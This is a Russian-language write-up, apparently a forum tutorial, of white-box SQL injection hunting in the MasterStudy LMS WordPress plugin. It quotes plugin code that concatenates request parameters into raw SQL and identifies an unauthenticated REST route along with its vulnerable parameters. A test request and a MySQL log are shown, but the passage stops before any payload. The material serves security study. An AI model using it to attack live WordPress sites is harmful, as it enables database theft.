222 if ( ! empty( $params['user'] ) ) {
223 $ids = array( $params['user'] );
224 if ( ! empty( $ids ) ) {
225 $query->where_raw(
226 ' (
227 (meta.meta_key = "user_id" AND meta.meta_value in (' . implode( ',', $ids ) . ')) OR
228 (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode( ',', $ids ) . '))
229 ) '
230 );
231 }
232 }
233
234 if ( ! empty( $params['post_author'] ) ) {
235 $query->where( 'course.`post_author`', (int) $params['post_author'] );
236 }
237
238 if ( ! empty( $params['orderby'] ) ) {
239 $query->sort_by( esc_sql( $params['orderby'] ) )->order( ! empty( $params['order'] ) ? ' ' . esc_sql( $params['order'] ) : ' ASC' );
240 } else {
241 $query->sort_by( 'ID' )->order( ' DESC ' );
242 }
243
244 $query_total = clone $query;
245
246 $user_orders['total'] = $query_total->select( ' COUNT(DISTINCT _order.ID) as count ' )->findOne()->count ?? 0;
247 $query->join( ' left join ' . $prefix . 'postmeta as meta on (meta.post_id = _order.ID)' )
248 ->group_by( '_order.ID' )
249 ->limit( $limit )
250 ->offset( $offset );
251
252 $user_orders['items'] = $query->find();
253
254 return $user_orders;
255 }
256
257 /**
258 * @param $offset
259 * @param $limit
260 * @param array $params
261 *
262 * @return array
263 */
264 public static function get_user_order_items( $offset, $limit, $params = array() ) {
265 global $wpdb;
266 $prefix = $wpdb->prefix;
267 $user_orders = array();
268 $query = StmOrderItems::query()
269 ->select( ' lms_order_items.*, course.post_title as name, _order.`post_date` as date_created ' )
270 ->asTable( 'lms_order_items' )
271 ->join( ' left join `' . $prefix . 'posts` as _order on ( lms_order_items.`order_id` = _order.ID ) left join `' . $prefix . 'posts` as course on (course.ID = lms_order_items.`object_id`) ' )
272 ->where_in( '_order.post_type', array( 'stm-orders', 'shop_order' ) );
273
274 if ( ! empty( $params['id'] ) ) {
275 $query->where( '_order.ID', intval( $params['id'] ) );
276 }
277
278 if ( empty( trim( $params['date_from'] ?? '' ) ) && ! empty( trim( $params['date_to'] ?? '' ) ) ) {
279 $query->where_raw(
280 ' DATE(_order.post_date) >= "' . gmdate( 'Y-m-d', strtotime( $params['date_from'] ) ) . '" AND DATE(_order.post_date) <= "' . gmdate( 'Y-m-d', strtotime( $params['date_to'] ) ) . '" '
281 );
282 }
283
284 if ( ! empty( $params['total_price'] ) ) {
285 $query->where_raw( ' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ' );
286 }
287
288 if ( ! empty( $params['status'] ) ) {
289 $query->where_raw(
290 ' (
291 ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
292 ( _order.post_status = "' . $params['status'] . '" )
293 ) '
294 );
295 }
296
297 if ( ! empty( $params['user'] ) ) {
298 $user_id = intval( $params['user'] );
299 if ( ! empty( $user_id ) ) {
300 $query->where_raw(
301 ' (
302 (meta.meta_key = "user_id" AND meta.meta_value in (' . $user_id . ')) OR
303 (meta.meta_key = "_customer_user" AND meta.meta_value in (' . $user_id . '))
304 ) '
305 );
306 }
307 }
308
309 if ( ! empty( $params['course_id'] ) ) {
310 $query->where( 'course.ID', intval( $params['course_id'] ) );
311 }
312
313 if ( ! empty( $params['author_id'] ) ) {
314 $query->where( 'course.`post_author`', intval( $params['author_id'] ) );
315 }
316
317 if ( ! empty( $params['completed'] ) ) {
318 $query->join( ' left join ' . $prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') " )
319 ->join( ' left join ' . $prefix . "posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed') " )
320 ->where_raw( ' ( meta_status.post_id = _order.ID OR order_status.ID = _order.ID ) ' );
321 }
322
323 if ( ! empty( $params['orderby'] ) ) {
324 $query->sort_by( esc_sql( $params['orderby'] ) )->order( ! empty( $params['order'] ) ? ' ' . esc_sql( $params['order'] ) : ' ASC' );
325 } else {
326 $query->sort_by( 'ID' )->order( ' DESC ' );
327 }
328
329 $query_total = clone $query;
330 $user_orders['total'] = $query_total->select( ' COUNT(DISTINCT lms_order_items.id) as count ' )->findOne()->count ?? 0;
331
332 $query_total_price = clone $query;
333 $query_total_price->select( ' SUM( lms_order_items.`price` * lms_order_items.`quantity`) as total_price ' );
334 $total_price = $query_total_price->findOne()->total_price ?? 0;
335 $user_orders['total_price'] = ( $total_price ) ? $total_price : 0;
336 $query->join( ' left join ' . $prefix . 'postmeta as meta on (meta.post_id = _order.ID)' )
337 ->group_by( 'lms_order_items.id' )
338 ->limit( $limit )
339 ->offset( $offset );
340
341 $user_orders['items'] = $query->find();
342
343 return $user_orders;
344 }
345
346 public static function get_user_orders_api() {
347 $offset = 0;
348 $limit = 10;
349
350 check_ajax_referer( 'wp_rest', 'nonce' );
351
352 if ( ! empty( $_POST['offset'] ) ) {
353 $offset = intval( $_POST['offset'] );
354 }
355
356 if ( ! empty( $_POST['limit'] ) ) {
357 $limit = intval( $_POST['limit'] );
358 }
359
360 $params = $_POST;
361
362 $params['completed'] = true;
363
364 if ( $params['author_id'] ) {
365 return self::get_user_order_items( $offset, $limit, $params );
366 }
367 }
368
369 /**
370 * @param $date_start
371 * @param $date_end
372 * @param $user_id
373 * @param null $course_id
374 *
375 * @return array
376 */
377 public static function get_course_statisticas( $date_start, $date_end, $user_id, $course_id = null ) {
378 global $wpdb;
379
380 $data = array();
381 $courses = StmLmsCourse::query()
382 ->select( ' course.ID, course.`post_title`, _order.`post_date` as date, SUM(order_items.`price` * order_items.`quantity`) as amount' )
383 ->asTable( 'course' )
384 ->join( ' left join `' . $wpdb->prefix . 'stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ' )
385 ->join( ' left join `' . $wpdb->prefix . 'posts` _order on _order.ID = order_items.`order_id` ' )
386 ->join( ' left join ' . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') " )
387 ->where( 'course.post_author', $user_id )
388 ->where_raw( " ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) " )
389 ->where_raw( " (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) " )
390 ->where_raw( " (DATE(_order.`post_date`) BETWEEN '" . $date_start . "' AND '" . $date_end . "') " )
391 ->group_by( " course.ID, DATE_FORMAT(_order.post_date, '%m-%Y') " );
392
393 if ( null !== $course_id ) {
394 $courses->where( 'course.ID', $course_id )->findOne();
395 }
396
397 foreach ( $courses->find() as $course ) {
398 $data[] = array(
399 'id' => $course->ID,
400 'title' => $course->post_title,
401 'amount' => $course->amount,
402 'date' => $course->date,
403 'backgroundColor' => rand_color( 0.50 ),
404 );
405 }
406
407 return $data;
408 }
409
410 /**
411 * @param $user_id
412 * @param null $course_id
413 */
414 public static function get_course_sales_statisticas( $user_id, $course_id = null ) {
415 global $wpdb;
416
417 $data = array();
418 $courses = StmLmsCourse::query()
419 ->select( ' course.ID, course.`post_title`, SUM(order_items.`quantity`) as order_item_count ' )
420 ->asTable( 'course' )
421 ->join( ' left join `' . $wpdb->prefix . 'stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ' )
422 ->join( ' left join `' . $wpdb->prefix . 'posts` _order on _order.ID = order_items.`order_id` ' )
423 ->join( ' left join ' . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') " )
424 ->where( 'course.post_author', $user_id )
425 ->where_raw( " ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) " )
426 ->where_raw( " (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) " )
427 ->group_by( ' course.ID ' );
428
429 if ( null !== $course_id ) {
430 $courses->where( 'course.ID', $course_id )->findOne();
431 }
432
433 foreach ( $courses->find() as $course ) {
434 $data[] = array(
435 'id' => $course->ID,
436 'title' => $course->post_title,
437 'backgroundColor' => rand_color( 0.50 ),
438 'order_item_count' => $course->order_item_count,
439 );
440 }
441
442 return $data;
443 }
444
445 }
Код: Скопировать в буфер обмена
Код:
function set_order_items_total_price
function woocommerce_order_items
...
Я хочу проверить только функции, содержащие SQL-запросы. Я мог бы сразу перейти к функциям, принимающим пользовательский ввод, но было бы лучше понять, что делает каждая функция.
set_order_items_total_price
Код: Скопировать в буфер обмена
Код:
77 public static function set_order_items_total_price()
78 {
79 $is_run = get_option("stm_lms_set_order_total_price");
80 if (!$is_run) {
81 global $wpdb;
82 $prefix = $wpdb->prefix;
83 $orders = StmOrder::query()
84 ->select(" _order.*, mete.`meta_value` as items ")
85 ->asTable("_order")
86 ->join(" left join " . $prefix . "postmeta as mete on (mete.post_id = _order.ID) ")
87 ->where_in("_order.post_type", ["stm-orders"])
88 ->where("mete.`meta_key`", "items")
89 ->group_by("_order.ID")
90 ->find();
91 foreach ($orders as $order) {
92 $total_price = 0;
93 foreach ($order->items as $item) {
94 $total_price += $item['price'];
95
96 // update or create order items
97 if (!($order_items = StmOrderItems::query()->where("order_id", $order->ID)->where("object_id", $item['item_id'])->findOne()))
98 $order_items = new StmOrderItems();
99 $order_items->order_id = $order->ID;
100 $order_items->object_id = $item['item_id'];
101 $order_items->price = $item['price'];
102 $order_items->quantity = 1;
103 $order_items->transaction = 0;
104 $order_items->save();
105 }
106 update_post_meta($order->ID, "_order_total", $total_price);
107 }
108 add_option("stm_lms_set_order_total_price", "1");
109 }
110 }
woocommerce_order_items
Код: Скопировать в буфер обмена
Код:
112 public static function woocommerce_order_items()
113 {
114 $is_run = get_option("stm_lms_set_woocommerce_order_items");
115 if (!$is_run) {
116 global $wpdb;
117 $prefix = $wpdb->prefix;
118 $orders = StmOrder::query()
119 ->select(" _order.*, meta.meta_value as items")
120 ->asTable("_order")
121 ->join(" left join " . $prefix . "postmeta as meta on ( meta.`post_id` = _order.ID AND meta.`meta_key` = 'stm_lms_courses') ")
122 ->where("_order.`post_type`", "shop_order")
123 ->find();
124 foreach ($orders as $order) {
125 if (isset($order->items)) {
126 foreach ($order->items as $item) {
127 $price = get_post_meta($item['item_id'], "_price");
128
129 // update or create order items
130 if (!($order_items = StmOrderItems::query()->where("order_id", $order->ID)->where("object_id", $item['item_id'])->findOne()))
131 $order_items = new StmOrderItems();
132 $order_items->order_id = $order->ID;
133 $order_items->object_id = $item['item_id'];
134 $order_items->price = (isset($price[0])) ? $price[0] : 0;
135 $order_items->quantity = $item['quantity'];
136 $order_items->transaction = 0;
137 $order_items->save();
138 }
139 }
140 }
141 add_option("stm_lms_set_woocommerce_order_items", "1");
142 }
143 }
create_table_order_items
Код: Скопировать в буфер обмена
Код:
145 public static function create_table_order_items()
146 {
147 global $wpdb;
148 require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
149 $charset_collate = $wpdb->get_charset_collate();
150 $table_name = $wpdb->prefix . 'stm_lms_order_items';
151 $sql = "CREATE TABLE {$table_name} (
152 id bigint(20) NOT NULL AUTO_INCREMENT,
153 order_id bigint(20) unsigned NOT NULL,
154 object_id bigint(20) unsigned NOT NULL,
155 payout_id bigint(20) unsigned,
156 quantity int(11) NOT NULL,
157 price float(24,2),
158 `transaction` varchar(100),
159 PRIMARY KEY (id),
160 KEY `{$table_name}_order_id_index` (`order_id`),
161 KEY `{$table_name}_object_id_index` (`object_id`),
162 KEY `{$table_name}_payout_id_index` (`payout_id`)
163 ) {$charset_collate};";
164 maybe_create_table($table_name, $sql);
165 }
get_user_orders
Код: Скопировать в буфер обмена
Код:
194 public static function get_user_orders($offset, $limit, $params = [])
195 {
196 global $wpdb;
197 $prefix = $wpdb->prefix;
198 $user_orders = [
199 "items" => [],
200 "total" => 0,
201 ];
202 $query = StmOrder::query()
203 ->select(" _order.*, meta.* ")
204 ->asTable("_order")
205 ->join(" left join `" . $prefix . "stm_lms_order_items` as lms_order_items on ( lms_order_items.`order_id` = _order.ID )
206 left join `" . $prefix . "posts` as course on (course.ID = lms_order_items.`object_id`) ")
207 ->where_in("_order.post_type", ["stm-orders", "shop_order"]);
208
209 if (isset($params['id']) AND !empty($params['id'])) {
210 $query->where('_order.ID', $params['id']);
211 }
212
213 if (isset($params['created_date_from']) AND !empty(trim($params['created_date_from'])) AND isset($params['created_date_to']) AND !empty(trim($params['created_date_to']))) {
214 $query->where_raw('
215 DATE(_order.post_date) >= "' . date("Y-m-d", strtotime($params['created_date_from'])) . '" AND
216 DATE(_order.post_date) <= "' . date("Y-m-d", strtotime($params['created_date_to'])) . '"
217 ');
218 }
219
220 if (isset($params['total_price']) AND !empty($params['total_price'])) {
221 $query->where_raw(' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ');
222 }
223
224 if (isset($params['status']) AND !empty($params['status'])) {
225 $query->where_raw('
226 (
227 ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
228 ( _order.post_status = "' . $params['status'] . '" )
229 )
230 ');
231 }
232
233 if (isset($params['user']) AND !empty($params['user'])) {
234 $ids = [$params['user']];
235 if (!empty($ids)) {
236 $query->where_raw('
237 (
238 (meta.meta_key = "user_id" AND meta.meta_value in (' . implode(",", $ids) . ')) OR
239 (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode(",", $ids) . '))
240 )
241 ');
242 }
243 }
244
245 if (isset($params['post_author']) AND !empty($params['post_author'])) {
246 $query->where("course.`post_author`", (int)$params['post_author']);
247 }
248
249 if (!empty($params['orderby'])) {
250 $query->sort_by(esc_sql($params['orderby']))
251 ->order(!empty($params['order']) ? ' ' . esc_sql($params['order']) : ' ASC');
252 } else {
253 $query->sort_by("ID")->order(" DESC ");
254 }
255
256 $query_total = clone $query;
257
258 $user_orders['total'] = $query_total->select(" COUNT(DISTINCT _order.ID) as count ")->findOne()->count;
259 $query->join(" left join " . $prefix . "postmeta as meta on (meta.post_id = _order.ID)")
260 ->group_by("_order.ID")
261 ->limit($limit)
262 ->offset($offset);
263
264 $user_orders['items'] = $query->find();
265
266 return $user_orders;
267 }
Код: Скопировать в буфер обмена
Код:
367 $offset = 0;
368 $limit = 10;
Что такое смещение и лимит?
Смещение: количество строк, которые следует пропустить перед началом возврата строк в наборе результатов.
Лимит: максимальное количество строк для возврата в наборе результатов, ограничивающее запрос определенным количеством строк.
Пример в MySQL:
Изображение [3]
Изображение [4]
Массив - это базовая структура данных в программировании, которая хранит коллекцию элементов.
Код: Скопировать в буфер обмена
Код:
$dvij = array("Красивый", "с", "бородой");
echo $dvij[0]; // Результат "Красивый"
echo $dvij[2]; // Результат "бородой"
Параметры, которые кажутся уязвимыми, включают id, total_price, status и user. Параметры $params['created_date_from'] и $params['created_date_to'] фильтруют заказы по диапазону дат создания, используя функции strtotime() и gmdate() для безопасного преобразования дат. Параметр orderby, хотя и не контролируется пользователем, санитизируется с использованием функции esc_sql(). Параметр post_author очищается с помощью (int). Например:
Код: Скопировать в буфер обмена
Код:
<?php
$params = array('post_author' => '105 OR 1=1');
echo "Chistka author: ",(int)$params['post_author'];
?>
// Результат: Chistka author: 105
get_user_order_items
Код: Скопировать в буфер обмена
Код:
276 public static function get_user_order_items($offset, $limit, $params = [])
277 {
278 global $wpdb;
279 $prefix = $wpdb->prefix;
280 $user_orders = [
281 "items" => [],
282 "total" => 0,
283 "total_price" => 0,
284 ];
285 $query = StmOrderItems::query()
286 ->select(" lms_order_items.*, course.post_title as name, _order.`post_date` as date_created ")
287 ->asTable("lms_order_items")
288 ->join(" left join `" . $prefix . "posts` as _order on ( lms_order_items.`order_id` = _order.ID )
289 left join `" . $prefix . "posts` as course on (course.ID = lms_order_items.`object_id`) ")
290 ->where_in("_order.post_type", ["stm-orders", "shop_order"]);
291
292 if (isset($params['id']) AND !empty($params['id'])) {
293 $query->where('_order.ID', $params['id']);
294 }
295
296 if (isset($params['date_from']) AND !empty(trim($params['date_from'])) AND isset($params['date_to']) AND !empty(trim($params['date_to']))) {
297 $query->where_raw('
298 DATE(_order.post_date) >= "' . date("Y-m-d", strtotime($params['date_from'])) . '" AND
299 DATE(_order.post_date) <= "' . date("Y-m-d", strtotime($params['date_to'])) . '"
300 ');
301 }
302
303 if (isset($params['total_price']) AND !empty($params['total_price'])) {
304 $query->where_raw(' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ');
305 }
306
307 if (isset($params['status']) AND !empty($params['status'])) {
308 $query->where_raw('
309 (
310 ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
311 ( _order.post_status = "' . $params['status'] . '" )
312 )
313 ');
314 }
315
316 if (isset($params['user']) AND !empty($params['user'])) {
317 $ids = [$params['user']];
318 if (!empty($ids)) {
319 $query->where_raw('
320 (
321 (meta.meta_key = "user_id" AND meta.meta_value in (' . implode(",", $ids) . ')) OR
322 (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode(",", $ids) . '))
323 )
324 ');
325 }
326 }
327
328 if (isset($params['course_id']) AND !empty($params['course_id'])) {
329 $query->where("course.ID", $params['course_id']);
330 }
331
332 if (isset($params['author_id']) AND !empty($params['author_id']) AND $params['author_id'] != 0) {
333 $query->where("course.`post_author`", (int)$params['author_id']);
334 }
335
336 if (isset($params['completed']) AND !empty($params['completed'])) {
337 $query->join(" left join " . $prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
338 ->join(" left join " . $prefix . "posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed') ")
339 ->where_raw(" ( meta_status.post_id = _order.ID OR order_status.ID = _order.ID ) ");
340 }
341
342 if (!empty($params['orderby'])) {
343 $query->sort_by(esc_sql($params['orderby']))
344 ->order(!empty($params['order']) ? ' ' . esc_sql($params['order']) : ' ASC');
345 } else {
346 $query->sort_by("ID")->order(" DESC ");
347 }
348
349 $query_total = clone $query;
350 $user_orders['total'] = $query_total->select(" COUNT(DISTINCT lms_order_items.id) as count ")->findOne()->count;
351
352 $query_total_price = clone $query;
353 $query_total_price->select(" SUM( lms_order_items.`price` * lms_order_items.`quantity`) as total_price ");
354 $total_price = $query_total_price->findOne()->total_price;
355 $user_orders['total_price'] = ($total_price) ? $total_price : 0;
356 $query->join(" left join " . $prefix . "postmeta as meta on (meta.post_id = _order.ID)")
357 ->group_by("lms_order_items.id")
358 ->limit($limit)
359 ->offset($offset);
360
361 $user_orders['items'] = $query->find();
362 return $user_orders;
363 }
get_course_statisticas
Код: Скопировать в буфер обмена
Код:
392 public static function get_course_statisticas($date_start, $date_end, $user_id, $course_id = null)
393 {
394 global $wpdb;
395 $data = [];
396 $courses = StmLmsCourse::query()
397 ->select(" course.ID, course.`post_title`, _order.`post_date` as date, SUM(order_items.`price` * order_items.`quantity`) as amount")
398 ->asTable("course")
399 ->join(" left join `" . $wpdb->prefix . "stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ")
400 ->join(" left join `" . $wpdb->prefix . "posts` _order on _order.ID = order_items.`order_id` ")
401 ->join(" left join " . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
402 ->where("course.post_author", $user_id)
403 ->where_raw(" ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) ")
404 ->where_raw(" (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) ")
405 ->where_raw(" (DATE(_order.`post_date`) BETWEEN '" . $date_start . "' AND '" . $date_end . "') ")
406 ->group_by(" course.ID, DATE_FORMAT(_order.post_date, '%m-%Y') ");
407
408 if ($course_id != null)
409 $courses->where("course.ID", $course_id)->findOne();
410
411 foreach ($courses->find() as $course) {
412 $data[] = [
413 "id" => $course->ID,
414 "title" => $course->post_title,
415 "amount" => $course->amount,
416 "date" => $course->date,
417 "backgroundColor" => rand_color(0.50)
418 ];
419 }
420 return $data;
421 }
get_course_sales_statisticas
Код: Скопировать в буфер обмена
Код:
427 public static function get_course_sales_statisticas($user_id, $course_id = null)
428 {
429 global $wpdb;
430 $data = [];
431 $courses = StmLmsCourse::query()
432 ->select(" course.ID, course.`post_title`, SUM(order_items.`quantity`) as order_item_count ")
433 ->asTable("course")
434 ->join(" left join `" . $wpdb->prefix . "stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ")
435 ->join(" left join `" . $wpdb->prefix . "posts` _order on _order.ID = order_items.`order_id` ")
436 ->join(" left join " . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
437 ->where("course.post_author", $user_id)
438 ->where_raw(" ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) ")
439 ->where_raw(" (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) ")
440 ->group_by(" course.ID ");
441
442 if ($course_id != null)
443 $courses->where("course.ID", $course_id)->findOne();
444
445
446
447
448 foreach ($courses->find() as $course) {
449 $data[] = [
450 "id" => $course->ID,
451 "title" => $course->post_title,
452 "backgroundColor" => rand_color(0.50),
453 "order_item_count" => $course->order_item_count
454 ];
455 }
456
457 return $data;
458 }
Теперь давайте составим диаграмму с функциями и возможно уязвимыми параметрами:
Функция | Уязвимый параметр |
get_user_orders | id, total_price, status, user |
get_user_order_items | id, total_price, status, user, course_id |
get_course_statisticas | Не вижу инпутов с пользовательской части, но санитизации тоже нет. |
get_course_sales_statistics | Не вижу инпутов с пользовательской части, но санитизации тоже нет. |
REST в WordPress
REST означает Representational State Transfer, это стандартная веб-архитектура, которая использует HTTP-запросы для общения между клиентами и серверами. WordPress REST API позволяет разработчикам программно получать доступ к данным сайта WordPress, управлять ими и взаимодействовать с ними. Это включает в себя записи, страницы, медиа и многое другое, используя объекты JSON, что упрощает интеграцию с другими приложениями и сервисами.Конечные точки (endpoint) REST в WordPress - это специфические URL, которые REST API предоставляет для взаимодействия с различными типами контента WordPress. Каждая конечная точка соответствует определенному типу ресурса, такому как записи, страницы, пользователи или пользовательские типы контента, и определяет методы (GET, POST, PUT, DELETE), которые можно использовать для взаимодействия с этим ресурсом. Конечные точки REST API можно найти, обратившись к корню API, который обычно находится по пути /wp-json/. Оттуда API предоставляет самодокументируемое руководство по доступным конечным точкам и их использованию.
Вопросы, которые я задавал себе на этом этапе, были следующие:
Как найти rest route?
Какие аргументы мне нужно использовать после того, как я rest route?
Чтобы найти остальные роуты, я решил открыть -
http://localhost/index.php/wp-json
. Для этого плагина насчитывается не менее 50 роутов, что довольно много. Я решил проверить тот, который имеет название функции get_user_order_items, это /lms/stm-lms/order/items. Странно, но я не вижу никаких аргументов, хотя сама функция их имеет. Угадывание в данном случае не является опцией, потому что я провожу анализ белого ящика.Другой способ, помимо проверки директории wp-json, - это поиск PHP-файлов с функцией "register_rest_route". register_rest_route() - это функция в WordPress, используемая для создания пользовательских конечных точек REST API.
Код: Скопировать в буфер обмена
grep -rnw /var/www/html/wp-content/plugins/masterstudy-lms-learning-management-system -e "^.register_rest_route" --color
Изображение [5]
Код: Скопировать в буфер обмена
Код:
<?php
/**
* STM LMS Order Statistics
*/
add_action(
'rest_api_init',
function () {
register_rest_route(
'lms',
'/stm-lms/order/items',
array(
'permission_callback' => '__return_true',
'methods' => 'GET',
'callback' => function () {
return \stmLms\Classes\Models\StmStatistics::get_user_orders_api();
},
)
);
}
);
add_action(
'rest_api_init',
function () {
register_rest_route(
'lms',
'/stm-lms-user/search',
array(
'permission_callback' => '__return_true',
'methods' => 'GET',
'callback' => function () {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended
if ( isset( $_GET['search'] ) ) {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended
return \stmLms\Classes\Models\StmUser::search( $_GET['search'] );
}
return array();
},
)
);
}
);
add_action(
'rest_api_init',
function () {
register_rest_route(
'lms',
'/stm-lms-user/course-list',
array(
'permission_callback' => '__return_true',
'methods' => 'GET',
'callback' => function () {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended
if ( isset( $_GET['author_id'] ) ) {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended
$user = new \stmLms\Classes\Models\StmUser( $_GET['author_id'] );
$course_list = array();
$courses = $user->get_courses();
foreach ( $courses as $course ) {
$course_list[] = array(
'id' => $course->ID,
'title' => $course->post_title,
);
}
return $course_list;
}
return array();
},
)
);
}
);
/**
* stm lms payout
*/
add_action(
'rest_api_init',
function () {
register_rest_route(
'lms',
'/stm-lms-pauout/settings',
array(
'permission_callback' => '__return_true',
'methods' => 'POST',
'callback' => function () {
return \stmLms\Classes\Models\StmLmsPayout::settings_payment_method();
},
)
);
}
);
add_action(
'rest_api_init',
function () {
register_rest_route(
'lms',
'/stm-lms-pauout/payment/set_default',
array(
'permission_callback' => '__return_true',
'methods' => 'POST',
'callback' => function () {
return \stmLms\Classes\Models\StmLmsPayout::payment_set_default();
},
)
);
}
);
add_action(
'rest_api_init',
function () {
register_rest_route(
'lms',
'/stm-lms-pauout/pay-now',
array(
'permission_callback' => '__return_true',
'methods' => 'GET',
'callback' => function () {
return \stmLms\Classes\Models\StmLmsPayout::pay_now();
},
)
);
}
);
add_action(
'rest_api_init',
function () {
register_rest_route(
'lms',
'/stm-lms-pauout/pay-now/(?P<id>\d+)',
array(
'permission_callback' => '__return_true',
'methods' => 'GET',
'callback' => function ( $request ) {
return \stmLms\Classes\Models\StmLmsPayout::pay_now_by_payout_id( intval( $request->get_param( 'id' ) ) );
},
)
);
}
);
add_action(
'rest_api_init',
function () {
register_rest_route(
'lms',
'/stm-lms-pauout/payed/(?P<id>\d+)',
array(
'permission_callback' => '__return_true',
'methods' => 'GET',
'callback' => function ( $request ) {
return \stmLms\Classes\Models\StmLmsPayout::payed( intval( $request->get_param( 'id' ) ) );
},
)
);
}
);
add_action(
'rest_api_init',
function () {
register_rest_route(
'lms',
'/stm-lms-payout/paypal-email',
array(
'permission_callback' => '__return_true',
'methods' => 'POST',
'callback' => function () {
return \stmLms\Classes\Models\StmUser::save_paypal_email();
},
)
);
}
);
Изображение [6]
Код: Скопировать в буфер обмена
Код:
365 public static function get_user_orders_api()
366 {
367 $offset = 0;
368 $limit = 10;
369
370 if (isset($_GET['offset']) AND !empty($_GET['offset']))
371 $offset = intval($_GET['offset']);
372
373 if (isset($_GET['limit']) AND !empty($_GET['limit']))
374 $limit = intval($_GET['limit']);
375
376 $params = $_GET;
377
378 $params['completed'] = true;
379
380 if ($params['author_id'])
381 return self::get_user_order_items($offset, $limit, $params);
382 }
Так где же ты?
Функция get_user_orders_api использует функцию get_user_order_items, которая принимает $params, которые могут быть введены пользователем. Чтобы мы могли использовать функцию get_user_order_items, мы должны использовать параметр author_id. Но, как мы знаем, параметр author_id сам очищен с использованием int. Так что уязвимость, вероятно, кроется в параметрах id, total_price, status, user или course_id.То, что мы знаем на данный момент, это то, что наш rest маршрут - /lms/stm-lms/order/items, и теперь мы знаем доступные параметры. Таким образом, полный URL будет
http://localhost/?rest_route=/lms/stm-lms/order/items
. Прежде чем продолжить, я включу логирование базы данных. Чтобы это сделать:Код: Скопировать в буфер обмена
Код:
sudo nano /etc/mysql/my.cnf
touch /var/log/mysql/mysql.log
chown mysql:mysql /var/log/mysql/mysql.log
# Добавьте эту строку
[mysqld]
general_log_file = /var/log/mysql/mysql.log
general_log = 1
#Перезагрузите mysql
service mysql restart
Код: Скопировать в буфер обмена
sudo tail -f /var/log/mysql/mysql.log
Я знаю, что мне нужно использовать author_id, чтобы функция get_user_order_items была использована, которая имеет другие параметры, такие как user. Я решил отправить запрос со всеми параметрами
http://localhost/?rest_route=/lms/stm-lms/order/items&author_id=111&id=222&total_price=333&status=444&user=555&course_id=666
Лог MySQL:
Код: Скопировать в буфер обмена
Код:
96 Connect wordpress_user@localhost on using Socket
96 Query SET NAMES utf8mb4
96 Query SET NAMES 'utf8mb4' COLLATE 'utf8mb4_unicode_520_ci'
96 Query SELECT @@SESSION.sql_mode
96 Query SET SESSION sql_mode='ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION'
96 Init DB wordpress_db
96 Query SELECT option_name, option_value FROM wp_options WHERE autoload = 'yes'
96 Query SELECT option_value FROM wp_options WHERE option_name = 'stm_lms_addons' LIMIT 1
96 Query SELECT option_value FROM wp_options WHERE option_name = 'WPLANG' LIMIT 1
96 Query SELECT option_value FROM wp_options WHERE option_name = 'stm_lms_paypal_settings' LIMIT 1
96 Query SELECT * FROM wp_users WHERE user_login = 'admin' LIMIT 1
96 Query SELECT user_id, meta_key, meta_value FROM wp_usermeta WHERE user_id IN (1) ORDER BY umeta_id ASC
96 Query SELECT * FROM wp_posts WHERE ID = 7 LIMIT 1
96 Query SELECT t.term_id
FROM wp_terms AS t INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id
WHERE tt.taxonomy IN ('wp_theme') AND t.name IN ('twentytwentyfour')
LIMIT 1
96 Query SELECT wp_posts.*
FROM wp_posts
WHERE 1=1 AND (
0 = 1
) AND wp_posts.post_type = 'wp_template_part' AND ((wp_posts.post_status = 'publish'))
GROUP BY wp_posts.ID
ORDER BY wp_posts.post_date DESC
96 Query SELECT wp_posts.*
FROM wp_posts
WHERE 1=1 AND wp_posts.post_type = 'page' AND ((wp_posts.post_status = 'publish'))
